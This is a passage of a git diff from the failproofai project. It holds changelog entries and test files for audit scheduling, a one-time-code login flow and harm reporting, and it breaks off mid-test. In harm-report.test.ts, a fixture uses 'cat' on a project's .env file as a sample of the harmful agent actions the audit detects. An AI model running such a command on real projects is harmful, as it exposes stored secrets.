- Include legacy commit statuses (CodeRabbit, etc.) in CI green check — previously only Check Runs API was queried (#109)
### Docs
@@ -1033,41 +1532,55 @@ never "blocked".
### Features
- Use portable `npx -y failproofai` command for project-scope hooks, making `.claude/settings.json` committable to git (#96)
+
- Parallelize translation workflow across 14 languages with concurrent file translation for faster CI (#98)
+
- Add manual workflow dispatch for translations with `force` (ignore cache) and `languages` filter inputs (#98)
+
- Tier-based model selection for translations: Sonnet for Tier 1, Haiku for Tier 2/3; add prompt caching on system prompt (#98)
### Fixes
- Fix hooks not working in failproofai's own repo by using local binary instead of npx (#98)
+
- Fix translation workflow placing files at repo root instead of `docs/` by setting download artifact path (#100)
## 0.0.2-beta.8 — 2026-04-14
### Features
- Add `changelog-check`, `docs-check`, and `pr-description-check` convention policies
+
- Track `.claude/settings.json` in git
+
- Add multilingual documentation with 14 languages and automated translation tooling (#93)
+
- Add GitHub Actions workflow to auto-translate docs when English sources change (#95)
+
- Add Mintlify docs validation to CI (#95)
### Fixes
- Accumulate all `instruct` messages instead of only delivering the first one
+
- Rename convention policy prefix from `convention/` to `.failproofai-{scope}/` (e.g. `.failproofai-project/`, `.failproofai-user/`) and add `convention_scope` to telemetry
### Docs
- Document cross-cutting `hint` param in built-in policies reference and add `block-force-push` hint example
+
- Add `block-force-push` hint to project config suggesting fresh branch as alternative
## 0.0.2-beta.7 — 2026-04-14
### Features
- Check third-party bot statuses (CodeRabbit, SonarCloud, etc.) in `require-ci-green-before-stop` policy (#90)
+
- Convention-based policy auto-discovery: drop `*policies.{js,mjs,ts}` files into `.failproofai/policies/` at project or user level for automatic loading — no config changes needed (#91)
+
- Configurable `hint` field in `policyParams` — append custom guidance to deny/instruct messages without modifying policies (#91)
+
- Auto-bump version after release (#73)
### Fixes
- Write `policies-config.json` to scope-appropriate path (#57)
+
- Fix custom hooks loader cwd, ESM shim exports, and merged LLM config (#76)
### Docs
@@ -1075,13 +1588,21 @@ never "blocked".
### Dependencies
- Bump `@types/node` 25.5.2 → 25.6.0 (#86)
+
- Bump `react-dom` 19.2.4 → 19.2.5 (#85)
+
- Bump `next` 16.2.2 → 16.2.3 (#84)
+
- Bump `posthog-node` 5.28.11 → 5.29.2 (#83)
+
- Bump `lucide-react` 1.7.0 → 1.8.0 (#82)
+
- Bump `eslint-config-next` 16.2.2 → 16.2.3 (#81)
+
- Bump `vitest` 4.1.2 → 4.1.4 (#80)
+
- Bump `react` 19.2.4 → 19.2.5 (#79)
+
- Bump `actions/checkout` 4 → 6 (#78)
## 0.0.2-beta.6 — 2026-04-09
@@ -1096,6 +1617,7 @@ never "blocked".
### Fixes
- `require-pr-before-stop` skips when no changes vs base branch (#67)
+
- Show plain Allow badge instead of blue Allow(note) (#68)
## 0.0.2-beta.4 — 2026-04-09
@@ -1113,11 +1635,14 @@ never "blocked".
### Fixes
- Disable PostHog telemetry in all CI jobs and test configs (#62)
+
- README badge fixes — stable npm version, remove broken Discord (#53)
### Docs
- Rewrite README to focus on hooks management (#54)
+
- Rewrite docs for Mintlify, fix CLI parity, add agent skill page (#55)
+
- Rename custom-hooks to custom-policies, update Dockerfile for hot reload (#61)
## 0.0.2-beta.2 — 2026-04-08
@@ -1127,7 +1652,9 @@ never "blocked".
### Fixes
- Bundle CLI for Node.js compatibility, support `npm install -g` (#46)
+
- Correct CLI commands in README (#45)
+
- Clean CLI error handling, reject unknown args (#48)
## 0.0.1 — 2026-04-06
@@ -1136,5 +1663,7 @@ Initial open-source release of **Failproof AI** — formerly Claudeye.
Features included in this release:
- **Hooks & Policies**: 35+ built-in security policies for Claude Code hooks (PreToolUse, PostToolUse, etc.), custom policy support, activity logging
+
- **Projects**: Browse and search Claude Code projects and sessions
+
- **Session Viewer**: Inspect session logs, tool calls, and per-session hook activity
diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts
index 766fe75db..0ee7766c6 100644
--- a/__tests__/actions/update-scheduled-audit.test.ts
+++ b/__tests__/actions/update-scheduled-audit.test.ts
@@ -14,7 +14,18 @@
* server actions the dashboard calls (not a reimplementation), so CLI/dashboard
* parity is real: both write through the same `updateConfig`.
*/
-import { describe, it, expect, beforeEach, afterEach } from "vitest";
+import { describe, it, expect, beforeEach, afterEach, vi } from "vitest";
+
+// `setAutoAuditAction(true)` now refuses without a session — scheduling and
+// mailing are one decision, so a timer with nobody to tell is a switch that
+// reads as on and produces nothing. These tests are about the CONFIG WRITE, so
+// the session check is stubbed to "signed in"; the refusal itself is covered in
+// the settings component tests.
+const { whoAmIMock, readAuthMock } = vi.hoisted(() => ({
+ whoAmIMock: vi.fn(),
+ readAuthMock: vi.fn(),
+}));
+vi.mock("../../lib/auth/auth-store", () => ({ whoAmI: whoAmIMock, readAuth: readAuthMock }));
import { mkdtempSync, readFileSync, rmSync, mkdirSync } from "node:fs";
import { tmpdir } from "node:os";
import { resolve } from "node:path";
@@ -33,6 +44,10 @@ beforeEach(() => {
home = mkdtempSync(resolve(tmpdir(), "fpai-settings-write-"));
process.env.FAILPROOFAI_HOME = home;
mkdirSync(home, { recursive: true });
+ whoAmIMock.mockReset().mockResolvedValue({
+ me: { id: "u1", email: "sidd@exosphere.host", status: "active", created_at: "" },
+ auth: { user: { id: "u1", email: "sidd@exosphere.host" } },
+ });
});
afterEach(() => {
@@ -45,7 +60,7 @@ describe("scheduled-audit write actions", () => {
it("setAutoAuditAction toggles [audit] auto and reflects what the config stored", async () => {
expect(readConfig().audit.auto).toBe(false);
const res = await setAutoAuditAction(true);
- expect(res.auto).toBe(true);
+ expect(res).toEqual({ ok: true, auto: true });
expect(readConfig().audit.auto).toBe(true);
});
@@ -79,7 +94,10 @@ describe("scheduled-audit write actions", () => {
expect(readConfig().telemetry.enabled).toBe(false);
expect(JSON.parse(readFileSync(configFile(), "utf8")).telemetry).toEqual({ enabled: false });
// And the audit write actually landed alongside it.
- expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14 });
+ expect(readConfig().audit).toMatchObject({ auto: true, intervalDays: 14 });
+ // Enabling from the dashboard also records consent to send, in the same
+ // write — that stamp, not `auto`, is what `reportHarm` gates on.
+ expect(typeof readConfig().audit.reportsConsentedAt).toBe("number");
});
it("preserves an unrelated cloud/collector setting across a scan write", async () => {
@@ -98,3 +116,76 @@ describe("scheduled-audit write actions", () => {
expect(after.audit.auto).toBe(true);
});
});
+
+describe("a session the server rejects", () => {
+ it("is REPORTED, not thrown, so the caller can act on it", async () => {
+ // Next masks a thrown server-action error before the browser sees it — the
+ // client gets an opaque digest and never the message. A caller matching on
+ // the text works in development and silently degrades to a generic failure
+ // in production, which is what shipped: the page showed an address read
+ // from the local session file, the toggle took the signed-in path, and the
+ // click dead-ended on "could not turn that on."
+ whoAmIMock.mockResolvedValue(null);
+ // `whoAmI()` deletes the session on a 401, so nothing is left on disk.
+ readAuthMock.mockReturnValue(null);
+
+ const res = await setAutoAuditAction(true);
+
+ expect(res).toEqual({ ok: false, reason: "signed-out" });
+ // And nothing was written: a timer with nobody to tell reads as on and
+ // produces nothing.
+ expect(readConfig().audit.auto).toBe(false);
+ });
+
+ it("tells an OFFLINE machine apart from an expired one", async () => {
+ // `whoAmI()` collapses them: null for a 401 and null for every transport
+ // failure. The client discriminated on `res.ok` alone, so a machine behind
+ // a proxy or with the wifi down hit the 10s timeout, watched the switch
+ // snap back, and was told "that sign-in expired" — then handed a code
+ // prompt that cannot succeed either, which is how a working session gets
+ // abandoned. What is left ON DISK tells them apart: a 401 wipes it, a
+ // network failure leaves it.
+ whoAmIMock.mockResolvedValue(null);
+ readAuthMock.mockReturnValue({
+ access_token: "at",
+ refresh_token: "rt",
+ access_expires_at: Math.floor(Date.now() / 1000) + 900,
+ refresh_expires_at: Math.floor(Date.now() / 1000) + 86_400,
+ user: { id: "u1", email: "sidd@exosphere.host" },
+ });
+
+ const res = await setAutoAuditAction(true);
+
+ expect(res).toEqual({ ok: false, reason: "unreachable" });
+ expect(readConfig().audit.auto).toBe(false);
+ });
+
+ it("calls a session past its refresh window signed-out, not unreachable", async () => {
+ // The file being present is not the test — a lapsed refresh token cannot
+ // mint anything, so the code prompt really is the remedy here.
+ whoAmIMock.mockResolvedValue(null);
+ readAuthMock.mockReturnValue({
+ access_token: "at",
+ refresh_token: "rt",
+ access_expires_at: Math.floor(Date.now() / 1000) - 7200,
+ refresh_expires_at: Math.floor(Date.now() / 1000) - 3600,
+ user: { id: "u1", email: "sidd@exosphere.host" },
+ });
+
+ expect(await setAutoAuditAction(true)).toEqual({ ok: false, reason: "signed-out" });
+ });
+
+ it("still lets somebody turn scheduling OFF", async () => {
+ // The refusal is one-directional on purpose. An expired session must not
+ // trap a person into keeping a feature they are trying to disable.
+ whoAmIMock.mockResolvedValue({ me: { id: "u", email: "a@b.c" } });
+ await setAutoAuditAction(true);
+ expect(readConfig().audit.auto).toBe(true);
+
+ whoAmIMock.mockResolvedValue(null);
+ const res = await setAutoAuditAction(false);
+
+ expect(res).toEqual({ ok: true, auto: false });
+ expect(readConfig().audit.auto).toBe(false);
+ });
+});
diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts
new file mode 100644
index 000000000..066ae5904
--- /dev/null
+++ b/__tests__/audit/cli-login.test.ts
@@ -0,0 +1,274 @@
+// @vitest-environment node
+/**
+ * `failproofai audit --schedule`'s sign-in prompts.
+ *
+ * The whole flow is two questions and a retry loop, and the part worth pinning
+ * is where the loop's assumptions meet the api-server's: it re-asks for a code
+ * only when the server says `invalid_code`, so any other rejection ends the
+ * sign-in. What the prompts refuse LOCALLY therefore decides which mistakes cost
+ * a retry and which cost the whole login.
+ */
+import { describe, it, expect, vi, beforeEach } from "vitest";
+
+const { promptTextMock, requestMock, verifyMock, writeAuthMock, readAuthMock } = vi.hoisted(() => ({
+ promptTextMock: vi.fn(),
+ requestMock: vi.fn(),
+ verifyMock: vi.fn(),
+ writeAuthMock: vi.fn(),
+ readAuthMock: vi.fn(),
+}));
+
+// PARTIAL: the flow draws its frame with the real `intro`/`step`/`outro`, and
+// only the prompt is stood in for. A wholesale mock had to be extended every
+// time the flow used one more thing from the toolkit, and each time it failed
+// as "no export is defined" rather than as anything about the login.
+vi.mock("../../src/hooks/tui", async (orig) => ({
+ ...(await orig()),
+ promptText: promptTextMock,
+}));
+vi.mock("../../lib/auth/api-server-client", async (orig) => ({
+ ...(await orig()),
+ requestLoginCode: requestMock,
+ verifyLoginCode: verifyMock,
+}));
+vi.mock("../../lib/auth/auth-store", async (orig) => ({
+ ...(await orig()),
+ writeAuth: writeAuthMock,
+ readAuth: readAuthMock,
+}));
+
+import { runLogin, extractCode, ensureSignedIn } from "../../src/audit/cli-login";
+import { AuthApiError } from "../../lib/auth/api-server-client";
+
+/** The `validate` the code prompt was handed, so it can be exercised directly. */
+function codeValidator(): (v: string) => string | null {
+ // The prompt's own label is just "code" — the question it answers lives on
+ // the step heading above it ("the code from that email"), so the input line
+ // stays short enough to sit beside a pasted value at 80 columns.
+ const call = promptTextMock.mock.calls.find(([opts]) => opts.message === "code");
+ expect(call, "the code prompt was never reached").toBeDefined();
+ return call![0].validate;
+}
+
+const TOKENS = {
+ token_type: "Bearer" as const,
+ access_token: "at",
+ access_expires_in: 900,
+ refresh_token: "rt",
+ refresh_expires_in: 86_400,
+ user: { id: "u_1", email: "you@example.com" },
+};
+
+beforeEach(() => {
+ promptTextMock.mockReset();
+ requestMock.mockReset().mockResolvedValue({
+ status: "code_sent",
+ expires_in: 600,
+ resend_available_in: 60,
+ });
+ verifyMock.mockReset().mockResolvedValue(TOKENS);
+ writeAuthMock.mockReset();
+ // No session on disk unless a test says otherwise.
+ readAuthMock.mockReset().mockReturnValue(null);
+ vi.spyOn(process.stdout, "write").mockImplementation(() => true);
+ vi.spyOn(process.stderr, "write").mockImplementation(() => true);
+});
+
+describe("the code prompt", () => {
+ it("refuses a value longer than the api-server will validate", async () => {
+ // The server bounds `code` at 4..12 characters, and a longer one comes back
+ // as `validation_error` rather than `invalid_code` — which the retry loop
+ // below does not recognise, so the whole sign-in aborts and the next attempt
+ // costs a fresh email. Pasting the sentence around the code out of the
+ // message, rather than just the code, is the ordinary way to hit that.
+ promptTextMock
+ .mockResolvedValueOnce("you@example.com")
+ .mockResolvedValueOnce("123456");
+
+ await runLogin();
+
+ const validate = codeValidator();
+
+ // A pasted line is ACCEPTED now — the digits are pulled out of it. This
+ // used to be rejected for length, which is what made pasting the message
+ // out of the email cost a fresh code.
+ expect(validate("Your code is 123456")).toBeNull();
+ expect(validate("code: 123 456")).toBeNull();
+
+ // What is still refused is a digit run the server would answer with
+ // `validation_error` rather than `invalid_code` — a distinction the retry
+ // loop treats as fatal, so it is caught here where it can be retyped.
+ expect(validate("1234567890123")).toMatch(/too long/i);
+ expect(validate("123")).toMatch(/too short/i);
+ // And no digits at all is not a code, so it never spends an attempt.
+ expect(validate("where is it")).toMatch(/digits/i);
+
+ // The ordinary six, and the boundary either side.
+ expect(validate("123456")).toBeNull();
+ expect(validate("1234")).toBeNull();
+ expect(validate("123456789012")).toBeNull();
+ });
+});
+
+describe("the retry loop", () => {
+ it("re-asks on a wrong code rather than sending a second email", async () => {
+ promptTextMock
+ .mockResolvedValueOnce("you@example.com")
+ .mockResolvedValueOnce("000000")
+ .mockResolvedValueOnce("123456");
+ verifyMock
+ .mockRejectedValueOnce(new AuthApiError(401, "invalid_code", "that code is wrong"))
+ .mockResolvedValueOnce(TOKENS);
+
+ const user = await runLogin();
+
+ expect(user.email).toBe("you@example.com");
+ // One code, two attempts at it. A fresh email per typo would burn the
+ // server's own per-address rate limit on the user's behalf.
+ expect(requestMock).toHaveBeenCalledTimes(1);
+ expect(verifyMock).toHaveBeenCalledTimes(2);
+ expect(writeAuthMock).toHaveBeenCalledTimes(1);
+ });
+
+ it("stops on anything that is not a wrong code", async () => {
+ // A rate limit or a validation failure will not become a success by asking
+ // the same question again, and the message names the remedy instead.
+ promptTextMock
+ .mockResolvedValueOnce("you@example.com")
+ .mockResolvedValueOnce("123456");
+ verifyMock.mockRejectedValue(new AuthApiError(429, "rate_limited", "slow down", 30));
+
+ await expect(runLogin()).rejects.toThrow(/too many attempts/i);
+ expect(verifyMock).toHaveBeenCalledTimes(1);
+ expect(writeAuthMock).not.toHaveBeenCalled();
+ });
+});
+
+describe("extractCode", () => {
+ it("takes the digits out of a pasted line", () => {
+ // The code is numeric (`auth/otp.rs` generates digits only), so anything
+ // else in the field is packaging. Rejecting it cost a fresh email.
+ expect(extractCode("Your failproof code is 123456")).toBe("123456");
+ expect(extractCode("code: 123456")).toBe("123456");
+ expect(extractCode("123 456")).toBe("123456");
+ expect(extractCode(" 123456 ")).toBe("123456");
+ expect(extractCode("123456 ")).toBe("123456");
+ });
+
+ it("passes a clean code through untouched", () => {
+ expect(extractCode("123456")).toBe("123456");
+ expect(extractCode("0000")).toBe("0000");
+ });
+
+ it("does not rewrite a digit-less string into something else", () => {
+ // A field with no digits is not a mistyped code; it is returned as typed so
+ // the caller can reject it rather than sending an invented one.
+ expect(extractCode("hunter2".replace(/\d/g, ""))).toBe("hunter");
+ expect(extractCode(" ")).toBe("");
+ });
+
+ it("keeps leading zeros, which a numeric parse would eat", () => {
+ expect(extractCode("code 007123")).toBe("007123");
+ });
+
+ it("ignores digits the SENTENCE contributes, not just the code's", () => {
+ // The prompt invites pasting the whole line, and the real message is
+ // `Your failproof code is 123456 (expires in 10 minutes)`. Joining every
+ // digit made that `12345610` — eight digits, which passes the 4–12
+ // validator, reaches the server, and burns an attempt on a code nobody
+ // typed. A run long enough to be a code wins outright.
+ expect(extractCode("Your failproof code is 123456 (expires in 10 minutes)")).toBe("123456");
+ expect(extractCode("code 123456 — expires in 10 min")).toBe("123456");
+ expect(extractCode("[failproof] 987654 is your code, valid for 5 minutes")).toBe("987654");
+ });
+
+ it("still joins a code that was genuinely split", () => {
+ // No run reaches the minimum on its own, so these really are one code the
+ // copy broke apart — which is the case the join was written for.
+ expect(extractCode("123 456")).toBe("123456");
+ expect(extractCode("12-34")).toBe("1234");
+ });
+});
+
+describe("a preset address", () => {
+ it("asks only for the code", async () => {
+ // One prompt, not two — the flag already answered the first question.
+ promptTextMock.mockResolvedValueOnce("123456");
+
+ const user = await runLogin("Preset@Example.com");
+
+ expect(user.email).toBe(TOKENS.user.email);
+ expect(promptTextMock).toHaveBeenCalledTimes(1);
+ expect(promptTextMock.mock.calls[0]![0].message).toBe("code");
+ // Normalised before it goes anywhere, the same as a typed address.
+ expect(requestMock).toHaveBeenCalledWith("preset@example.com");
+ });
+
+ it("still sends the code to that address before asking for it", async () => {
+ // The order matters: a flag that skipped the request would leave somebody
+ // waiting at a code prompt for a mail that was never sent.
+ promptTextMock.mockResolvedValueOnce("123456");
+ await runLogin("preset@example.com");
+
+ expect(requestMock).toHaveBeenCalledBefore(verifyMock);
+ });
+});
+
+describe("an existing session that has already expired", () => {
+ // `--schedule` printed `reports to ` and exited 0 for ANY session file
+ // on disk, expiry unread — so somebody whose refresh token lapsed or was
+ // revoked elsewhere configured digests, was shown the destination, and then
+ // heard nothing for up to a full interval (90 days at the maximum). The
+ // dashboard already refuses this exact state, so the two surfaces disagreed
+ // on the one thing this feature claims is in sync.
+ const live = { ...TOKENS.user };
+
+ function storedSession(refreshExpiresAt: number) {
+ return {
+ access_token: "at",
+ refresh_token: "rt",
+ access_expires_at: refreshExpiresAt,
+ refresh_expires_at: refreshExpiresAt,
+ user: live,
+ };
+ }
+
+ it("is treated as signed out, and the sign-in runs again", async () => {
+ // The OTP path needs a terminal, which the test runner is not. `isTTY` is
+ // absent rather than false on a pipe, so it is assigned, not spied.
+ const stdin = process.stdin as { isTTY?: boolean };
+ const stdout = process.stdout as { isTTY?: boolean };
+ const prevIn = stdin.isTTY;
+ const prevOut = stdout.isTTY;
+ stdin.isTTY = true;
+ stdout.isTTY = true;
+ try {
+ readAuthMock.mockReturnValue(storedSession(Math.floor(Date.now() / 1000) - 60));
+ promptTextMock.mockResolvedValueOnce("you@example.com").mockResolvedValueOnce("123456");
+
+ const out = await ensureSignedIn();
+
+ // It went through the OTP flow rather than trusting the dead file.
+ expect(out.prompted).toBe(true);
+ expect(requestMock).toHaveBeenCalled();
+ expect(out.user.email).toBe(live.email);
+ } finally {
+ if (prevIn === undefined) delete stdin.isTTY;
+ else stdin.isTTY = prevIn;
+ if (prevOut === undefined) delete stdout.isTTY;
+ else stdout.isTTY = prevOut;
+ }
+ });
+
+ it("still trusts a session inside its refresh window, with no request at all", async () => {
+ // The offline property this check must not cost: a signed-in machine with
+ // no network must not be re-prompted for a code because its wifi dropped.
+ readAuthMock.mockReturnValue(storedSession(Math.floor(Date.now() / 1000) + 86_400));
+
+ const out = await ensureSignedIn();
+
+ expect(out.prompted).toBe(false);
+ expect(requestMock).not.toHaveBeenCalled();
+ expect(promptTextMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/audit/come-back-better-section.test.tsx b/__tests__/audit/come-back-better-section.test.tsx
index b381ec7bc..45fb40a8c 100644
--- a/__tests__/audit/come-back-better-section.test.tsx
+++ b/__tests__/audit/come-back-better-section.test.tsx
@@ -1,13 +1,19 @@
/**
- * The reminder and "invite a friend" CTAs share one AuthDialog. For an unauthed
- * user, the dialog content must differ by which CTA opened it — invite shows
- * "Oops! Login required", reminder keeps its default copy — while the auth flow
- * itself stays identical. These tests pin that behavior end-to-end.
+ * Section 05 — SPREAD THE AUDIT.
+ *
+ * The scheduled-audit controls moved to /settings, so this section now has one
+ * job and the AuthDialog has one caller. That is worth testing precisely
+ * because the bug this section shipped was a SHARED dialog whose success
+ * handler assumed which control had opened it: signing in from "invite a
+ * friend" set a 7-day reminder nobody asked for and never opened the invite.
+ *
+ * With one caller the resume is unambiguous — and these assert the EFFECT, not
+ * just the copy, because the copy-only tests that used to live here were
+ * exactly as green on the broken version as on the fixed one.
*/
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react";
-// Stable capture (see auth-dialog.test.tsx for why identity must not change).
const { captureMock } = vi.hoisted(() => ({ captureMock: vi.fn() }));
vi.mock("@/contexts/PostHogContext", () => ({
usePostHog: () => ({ capture: captureMock }),
@@ -15,21 +21,46 @@ vi.mock("@/contexts/PostHogContext", () => ({
import { ComeBackBetterSection } from "@/app/audit/_components/come-back-better-section";
-const noop = () => {};
-
-beforeEach(() => {
- // The section probes /api/auth/status on mount; report an anonymous user.
+/** Records every fetch and answers the auth routes the dialog drives. */
+function stubFetch(authenticated = false) {
+ const calls: { url: string; method: string }[] = [];
vi.stubGlobal(
"fetch",
- vi.fn(
- async () =>
- new Response(JSON.stringify({ authenticated: false, reminder: null }), {
+ vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => {
+ const url = String(input);
+ calls.push({ url, method: init?.method ?? "GET" });
+ const json = (body: unknown) =>
+ new Response(JSON.stringify(body), {
status: 200,
headers: { "content-type": "application/json" },
- }),
- ),
+ });
+ if (url.includes("/api/auth/status")) {
+ return json(
+ authenticated
+ ? { authenticated: true, user: { id: "u1", email: "sidd@exosphere.host" } }
+ : { authenticated: false },
+ );
+ }
+ if (url.includes("/api/auth/login-request")) {
+ return json({ status: "code_sent", expires_in: 600, resend_available_in: 30 });
+ }
+ if (url.includes("/api/auth/login-verify")) {
+ return json({ authenticated: true, user: { id: "u1", email: "sidd@exosphere.host" } });
+ }
+ return json({});
+ }),
);
-});
+ return calls;
+}
+
+async function completeAuth() {
+ fireEvent.change(await screen.findByPlaceholderText("you@yourdomain.com"), {
+ target: { value: "sidd@exosphere.host" },
+ });
+ fireEvent.click(screen.getByRole("button", { name: "send code" }));
+ fireEvent.change(await screen.findByPlaceholderText("123456"), { target: { value: "123456" } });
+ fireEvent.click(screen.getByRole("button", { name: "verify" }));
+}
afterEach(() => {
cleanup();
@@ -37,25 +68,99 @@ afterEach(() => {
captureMock.mockClear();
});
-describe("ComeBackBetterSection shared AuthDialog copy", () => {
- it("shows invite copy when an unauthed user clicks 'invite a friend'", async () => {
- render( );
+describe("section 05 is only the share", () => {
+ beforeEach(() => stubFetch(false));
+
+ it("says SPREAD THE AUDIT and offers the invite", async () => {
+ render( );
+ expect(await screen.findByRole("heading", { name: "spread the audit" })).toBeInTheDocument();
+ expect(screen.getByText("invite a friend")).toBeInTheDocument();
+ });
+
+ it("carries no scheduled-audit controls at all", async () => {
+ // They are machine configuration and live on /settings now. A report should
+ // not end in a settings form.
+ render( );
+ await screen.findByText("invite a friend");
+ expect(screen.queryByRole("switch")).toBeNull();
+ expect(screen.queryByText(/scan this machine/i)).toBeNull();
+ expect(screen.queryByText(/DAEMON/i)).toBeNull();
+ });
+});
+
+describe("the impression event", () => {
+ it("reports the signed-in state the probe actually found", async () => {
+ // It used to report `signed_in: false` for every view ever recorded. The
+ // event fires on the FIRST commit and `signedIn` is only filled by the
+ // /api/auth/status probe, which resolves later — and since null doubles as
+ // "signed out" there was nothing to tell "not yet asked" from "asked and
+ // no". A signed-in reader was indistinguishable from a signed-out one in
+ // the one number this event exists to carry.
+ stubFetch(true);
+ render( );
+ await waitFor(() =>
+ expect(captureMock).toHaveBeenCalledWith("audit_share_section_shown", { signed_in: true }),
+ );
+ // Once per view, not once per state change.
+ expect(
+ captureMock.mock.calls.filter(([name]) => name === "audit_share_section_shown"),
+ ).toHaveLength(1);
+ });
+
+ it("still reports the view when the probe fails outright", async () => {
+ // A probe that never answers must not swallow the impression — losing the
+ // view entirely is a worse answer than the one it has.
+ vi.stubGlobal(
+ "fetch",
+ vi.fn(async (input: RequestInfo | URL) => {
+ if (String(input).includes("/api/auth/status")) throw new Error("network down");
+ return new Response("{}", { status: 200, headers: { "content-type": "application/json" } });
+ }),
+ );
+ render( );
+ await waitFor(() =>
+ expect(captureMock).toHaveBeenCalledWith("audit_share_section_shown", { signed_in: false }),
+ );
+ });
+});
+
+describe("the invite", () => {
+ it("asks an unauthed user to sign in, then opens the invite dialog", async () => {
+ stubFetch(false);
+ render( );
fireEvent.click(await screen.findByText("invite a friend"));
+
expect(await screen.findByText("Oops! Login required")).toBeInTheDocument();
- expect(screen.getByText("What's your email?")).toBeInTheDocument();
- // Reminder copy must not appear in the invite variant.
- expect(screen.queryByText("where to route the reminder?")).toBeNull();
- });
-
- it("keeps the default reminder copy when an unauthed user picks a cadence", async () => {
- render( );
- // Cadence buttons unlock once the status probe resolves to anon.
- const sevenDay = await screen.findByRole("button", { name: "7d" });
- await waitFor(() => expect(sevenDay).not.toBeDisabled());
- fireEvent.click(sevenDay);
- expect(await screen.findByText("where to route the reminder?")).toBeInTheDocument();
- expect(screen.getByText("we'll send a one-time code to confirm.")).toBeInTheDocument();
- // Invite copy must not appear in the reminder variant.
+ await completeAuth();
+
+ // The one thing the dialog can be resuming.
+ expect(
+ await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }),
+ ).toBeInTheDocument();
+ });
+
+ it("goes straight to the invite dialog when already signed in", async () => {
+ stubFetch(true);
+ render( );
+ await waitFor(() => expect(screen.getByText("invite a friend")).toBeInTheDocument());
+ fireEvent.click(screen.getByText("invite a friend"));
+
+ expect(await screen.findByPlaceholderText(/alice@x\.com/)).toBeInTheDocument();
expect(screen.queryByText("Oops! Login required")).toBeNull();
});
+
+ it("does not downgrade to signed-out when the status probe fails", async () => {
+ // A failed probe is not evidence of a signed-out user, and treating it as
+ // one would prompt for a login the person already completed.
+ vi.stubGlobal(
+ "fetch",
+ vi.fn(async (input: RequestInfo | URL) => {
+ if (String(input).includes("/api/auth/status")) throw new Error("network down");
+ return new Response("{}", { status: 200, headers: { "content-type": "application/json" } });
+ }),
+ );
+ render( );
+ // Still renders and still offers the invite rather than erroring out.
+ expect(await screen.findByText("invite a friend")).toBeInTheDocument();
+ });
});
diff --git a/__tests__/audit/dashboard-cache.test.ts b/__tests__/audit/dashboard-cache.test.ts
index 2391e56d1..6f137c54f 100644
--- a/__tests__/audit/dashboard-cache.test.ts
+++ b/__tests__/audit/dashboard-cache.test.ts
@@ -145,7 +145,51 @@ describe("dashboard cache", () => {
"utf-8",
);
expect(readDashboardCache()).toBeNull();
- expect(readDashboardCacheMeta()).toEqual({ cachedAt: eightDaysAgo });
+ // The counts ride along with the timestamp, past the TTL. That separation
+ // is the point: `readDashboardCache` dropping an aged entry is right for
+ // rendering results and exactly backwards for /settings' LAST SCAN and
+ // FINDINGS stats, whose whole subject is that the scan was a while ago.
+ expect(readDashboardCacheMeta()).toEqual({
+ cachedAt: eightDaysAgo,
+ findings: 0,
+ sessionsScanned: 5,
+ eventsScanned: 42,
+ });
+ });
+
+ it("readDashboardCacheMeta reads the counts off the cached result", () => {
+ writeDashboardCache(
+ { since: "all" },
+ { ...FAKE_RESULT, totals: { hits: 17, projectsWithHits: 3 } },
+ );
+ const meta = readDashboardCacheMeta();
+ expect(meta?.findings).toBe(17);
+ expect(meta?.sessionsScanned).toBe(5);
+ expect(meta?.eventsScanned).toBe(42);
+ });
+
+ it("readDashboardCacheMeta reports an unreadable count as null, never as zero", () => {
+ // 0 means "scanned, found nothing"; null means "we could not read it".
+ // Collapsing them would report a clean machine on a file that failed to
+ // parse, which is the one direction this must never fail in.
+ const dir = auditDir(tmpHome);
+ mkdirSync(dir, { recursive: true });
+ const { totals: _totals, ...withoutTotals } = FAKE_RESULT;
+ writeFileSync(
+ auditDashboardFile(tmpHome),
+ JSON.stringify({
+ schemaVersion: DASHBOARD_CACHE_SCHEMA_VERSION,
+ cachedAt: new Date().toISOString(),
+ params: { since: "7d" },
+ result: withoutTotals,
+ }),
+ "utf-8",
+ );
+ const meta = readDashboardCacheMeta();
+ expect(meta).not.toBeNull();
+ expect(meta?.findings).toBeNull();
+ // The fields that ARE present still read.
+ expect(meta?.sessionsScanned).toBe(5);
});
it("readDashboardCacheMeta returns null when the file is missing", () => {
diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts
new file mode 100644
index 000000000..e79a3581d
--- /dev/null
+++ b/__tests__/audit/harm-report.test.ts
@@ -0,0 +1,390 @@
+/**
+ * Harm selection and windowing.
+ *
+ * The window is the part worth testing hardest: `--since` filters on transcript
+ * MTIME, so a session left open for a month arrives with a fresh mtime and its
+ * whole history in tow. If the window were not re-applied per event here, the
+ * first digest anyone received would describe everything their agent had ever
+ * done as though it happened that week.
+ */
+import { describe, it, expect } from "vitest";
+import { homedir } from "node:os";
+
+import { buildHarmReport, isHarmful, selectHarmful } from "../../src/audit/harm-report";
+import type { AuditCount, AuditResult } from "../../src/audit/types";
+
+const AUG_01 = "2026-08-01T12:00:00.000Z";
+const AUG_07 = "2026-08-07T12:00:00.000Z";
+const AUG_10 = "2026-08-10T12:00:00.000Z";
+const AUG_14 = "2026-08-14T12:00:00.000Z";
+
+function count(over: Partial & { name: string; severity: string }): AuditCount {
+ return {
+ source: "builtin",
+ category: "Environment",
+ hits: 1,
+ projects: 1,
+ examples: [],
+ displayTitle: "Did a thing",
+ impact: "",
+ enabledInConfig: false,
+ installHint: "",
+ ...over,
+ } as AuditCount;
+}
+
+function example(timestamp: string, text = "cat /home/sidd/work/acme/.env") {
+ return { sessionId: "s", cwd: "/home/sidd/work/acme", timestamp, example: text };
+}
+
+function result(results: AuditCount[], scannedAt = AUG_14): AuditResult {
+ return {
+ version: 2,
+ scannedAt,
+ scope: { cli: [], projects: "all", since: null },
+ transcripts: { scanned: 1, skipped: 0, errors: 0, durationMs: 1 },
+ results,
+ totals: { hits: 0, projectsWithHits: 0 },
+ projectsScanned: [],
+ eventsScanned: 0,
+ enabledBuiltinNames: [],
+ };
+}
+
+describe("isHarmful", () => {
+ it("takes deny and sanitize, and leaves hygiene alone", () => {
